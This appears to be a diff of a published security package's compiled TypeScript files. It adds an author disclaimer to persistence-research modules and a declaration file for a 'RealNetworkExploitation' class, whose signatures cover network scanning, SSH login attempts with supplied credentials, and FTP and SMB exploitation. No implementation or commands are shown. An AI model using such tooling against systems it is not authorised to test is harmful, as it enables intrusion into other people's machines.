AC,CAAC;QACrC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC,CAAC,CAAC;AACL,CAAC;AAED,OAAO,EAAE,cAAc,EAAE,CAAC"}
|
|
@@ -9,6 +9,17 @@
|
|
|
9
9
|
* - Analyzing Linux persistence techniques
|
|
10
10
|
* - Detecting persistence mechanisms
|
|
11
11
|
* - Generating test cases for security validation
|
|
12
|
+
*
|
|
13
|
+
* @license MIT
|
|
14
|
+
* @author Bo Shang
|
|
15
|
+
*
|
|
16
|
+
* DISCLAIMER: This software is provided for both defensive and offensive security
|
|
17
|
+
* purposes and is open source (available via npm and GitHub) to anyone globally.
|
|
18
|
+
* The creator, Bo Shang, does not solicit or endorse unauthorized attacks.
|
|
19
|
+
* This tool is released with the belief that providing technological freedom
|
|
20
|
+
* globally is the right thing to do. Users are solely responsible for ensuring
|
|
21
|
+
* their use complies with applicable laws and regulations in their jurisdiction.
|
|
22
|
+
* Use responsibly and ethically.
|
|
12
23
|
*/
|
|
13
24
|
export interface PersistenceTechnique {
|
|
14
25
|
id: string;
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"persistence-research.d.ts","sourceRoot":"","sources":["../../src/security/persistence-research.ts"],"names":[],"mappings":"AAAA
|
|
1
|
+
{"version":3,"file":"persistence-research.d.ts","sourceRoot":"","sources":["../../src/security/persistence-research.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;GAsBG;AAEH,MAAM,WAAW,oBAAoB;IACnC,EAAE,EAAE,MAAM,CAAC;IACX,IAAI,EAAE,MAAM,CAAC;IACb,QAAQ,EAAE,SAAS,GAAG,OAAO,GAAG,OAAO,GAAG,gBAAgB,CAAC;IAC3D,OAAO,CAAC,EAAE,MAAM,CAAC;IACjB,WAAW,EAAE,MAAM,CAAC;IACpB,gBAAgB,EAAE,MAAM,EAAE,CAAC;IAC3B,gBAAgB,EAAE,MAAM,EAAE,CAAC;IAC3B,SAAS,EAAE,KAAK,GAAG,QAAQ,GAAG,MAAM,GAAG,UAAU,CAAC;CACnD;AAED,MAAM,WAAW,mBAAmB;IAClC,UAAU,EAAE,UAAU,CAAC;IACvB,kBAAkB,EAAE,iBAAiB,EAAE,CAAC;IACxC,eAAe,EAAE,MAAM,EAAE,CAAC;IAC1B,SAAS,EAAE,MAAM,CAAC;CACnB;AAED,MAAM,WAAW,UAAU;IACzB,QAAQ,EAAE,MAAM,CAAC;IACjB,YAAY,EAAE,MAAM,CAAC;IACrB,OAAO,EAAE,MAAM,CAAC;IAChB,IAAI,EAAE,MAAM,CAAC;IACb,UAAU,EAAE,MAAM,EAAE,CAAC;CACtB;AAED,MAAM,WAAW,iBAAiB;IAChC,SAAS,EAAE,oBAAoB,CAAC;IAChC,QAAQ,EAAE,MAAM,CAAC;IACjB,UAAU,EAAE,KAAK,GAAG,QAAQ,GAAG,MAAM,CAAC;IACtC,QAAQ,EAAE,MAAM,CAAC;CAClB;AAED;;GAEG;AACH,eAAO,MAAM,8BAA8B,EAAE,oBAAoB,EA2FhE,CAAC;AAEF;;GAEG;AACH,eAAO,MAAM,4BAA4B,EAAE,oBAAoB,EA2F9D,CAAC;AAEF;;GAEG;AACH,eAAO,MAAM,qCAAqC,EAAE,oBAAoB,EAmCvE,CAAC;AAEF;;GAEG;AACH,qBAAa,0BAA0B;IACrC,OAAO,CAAC,aAAa,CAAyB;;IAU9C;;OAEG;IACH,uBAAuB,CAAC,QAAQ,EAAE,MAAM,GAAG,oBAAoB,EAAE;IAMjE;;OAEG;IACH,sBAAsB,CAAC,OAAO,EAAE,MAAM,GAAG,oBAAoB,EAAE;IAI/D;;OAEG;IACH,sBAAsB,CAAC,WAAW,EAAE,MAAM,GAAG,MAAM,EAAE;IAuBrD;;OAEG;IACH,OAAO,CAAC,6BAA6B;IAmCrC;;OAEG;IACH,OAAO,CAAC,2BAA2B;IAmCnC;;OAEG;IACH,iBAAiB,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM,EAAE;IAe7C;;OAEG;IACH,sBAAsB,CAAC,kBAAkB,EAAE,iBAAiB,EAAE,GAAG,MAAM,EAAE;CAgB1E"}
|
|
@@ -9,6 +9,17 @@
|
|
|
9
9
|
* - Analyzing Linux persistence techniques
|
|
10
10
|
* - Detecting persistence mechanisms
|
|
11
11
|
* - Generating test cases for security validation
|
|
12
|
+
*
|
|
13
|
+
* @license MIT
|
|
14
|
+
* @author Bo Shang
|
|
15
|
+
*
|
|
16
|
+
* DISCLAIMER: This software is provided for both defensive and offensive security
|
|
17
|
+
* purposes and is open source (available via npm and GitHub) to anyone globally.
|
|
18
|
+
* The creator, Bo Shang, does not solicit or endorse unauthorized attacks.
|
|
19
|
+
* This tool is released with the belief that providing technological freedom
|
|
20
|
+
* globally is the right thing to do. Users are solely responsible for ensuring
|
|
21
|
+
* their use complies with applicable laws and regulations in their jurisdiction.
|
|
22
|
+
* Use responsibly and ethically.
|
|
12
23
|
*/
|
|
13
24
|
/**
|
|
14
25
|
* Windows Persistence Techniques Database
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"persistence-research.js","sourceRoot":"","sources":["../../src/security/persistence-research.ts"],"names":[],"mappings":"AAAA
|
|
1
|
+
{"version":3,"file":"persistence-research.js","sourceRoot":"","sources":["../../src/security/persistence-research.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Real Network Exploitation Engine
|
|
3
|
+
*
|
|
4
|
+
* Actual network reconnaissance, scanning, and exploitation capabilities.
|
|
5
|
+
* Real tools for authorized penetration testing and security assessment.
|
|
6
|
+
*
|
|
7
|
+
* LEGAL NOTICE: For authorized security research and testing only.
|
|
8
|
+
*/
|
|
9
|
+
export interface NetworkScan {
|
|
10
|
+
target: string;
|
|
11
|
+
openPorts: PortScanResult[];
|
|
12
|
+
services: ServiceInfo[];
|
|
13
|
+
vulnerabilities: NetworkVulnerability[];
|
|
14
|
+
}
|
|
15
|
+
export interface PortScanResult {
|
|
16
|
+
port: number;
|
|
17
|
+
state: 'open' | 'closed' | 'filtered';
|
|
18
|
+
service: string;
|
|
19
|
+
version?: string;
|
|
20
|
+
}
|
|
21
|
+
export interface ServiceInfo {
|
|
22
|
+
port: number;
|
|
23
|
+
protocol: string;
|
|
24
|
+
service: string;
|
|
25
|
+
banner?: string;
|
|
26
|
+
}
|
|
27
|
+
export interface NetworkVulnerability {
|
|
28
|
+
id: string;
|
|
29
|
+
name: string;
|
|
30
|
+
severity: 'critical' | 'high' | 'medium' | 'low';
|
|
31
|
+
description: string;
|
|
32
|
+
port: number;
|
|
33
|
+
exploitation: string;
|
|
34
|
+
}
|
|
35
|
+
export interface ExploitationAttempt {
|
|
36
|
+
vulnerabilityId: string;
|
|
37
|
+
target: string;
|
|
38
|
+
port: number;
|
|
39
|
+
success: boolean;
|
|
40
|
+
output: string;
|
|
41
|
+
evidence: string;
|
|
42
|
+
}
|
|
43
|
+
/**
|
|
44
|
+
* Real Network Exploitation Engine
|
|
45
|
+
*/
|
|
46
|
+
export declare class RealNetworkExploitation {
|
|
47
|
+
/**
|
|
48
|
+
* Perform comprehensive network scan
|
|
49
|
+
*/
|
|
50
|
+
scanNetwork(target: string): Promise<NetworkScan>;
|
|
51
|
+
/**
|
|
52
|
+
* Scan specific port
|
|
53
|
+
*/
|
|
54
|
+
private scanPort;
|
|
55
|
+
/**
|
|
56
|
+
* Get service information
|
|
57
|
+
*/
|
|
58
|
+
private getServiceInfo;
|
|
59
|
+
/**
|
|
60
|
+
* Check for port-specific vulnerabilities
|
|
61
|
+
*/
|
|
62
|
+
private checkPortVulnerabilities;
|
|
63
|
+
/**
|
|
64
|
+
* Exploit SSH service
|
|
65
|
+
*/
|
|
66
|
+
exploitSSH(target: string, username: string, password: string): Promise<ExploitationAttempt>;
|
|
67
|
+
/**
|
|
68
|
+
* Exploit FTP service
|
|
69
|
+
*/
|
|
70
|
+
exploitFTP(target: string): Promise<ExploitationAttempt>;
|
|
71
|
+
/**
|
|
72
|
+
* Enumerate SMB shares
|
|
73
|
+
*/
|
|
74
|
+
exploitSMB(target: string): Promise<ExploitationAttempt>;
|
|
75
|
+
/**
|
|
76
|
+
* Get HTTP banner
|
|
77
|
+
*/
|
|
78
|
+
private getHttpBanner;
|
|
79
|
+
/**
|
|
80
|
+
* Get SSH banner
|
|
81
|
+
*/
|
|
82
|
+
private getSshBanner;
|
|
83
|
+
/**
|
|
84
|
+
* Get service name by port
|
|
85
|
+
*/
|
|
86
|
+
private getServiceByPort;
|
|
87
|
+
/**
|
|
88
|
+
* Generate network exploitation report
|
|
89
|
+
*/
|
|
90
|
+
generateNetworkReport(scan: NetworkScan, exploits: ExploitationAttempt[]): string;
|
|
91
|
+
}
|
|
92
|
+
//# sourceMappingURL=networkExploitation.d.ts.map
|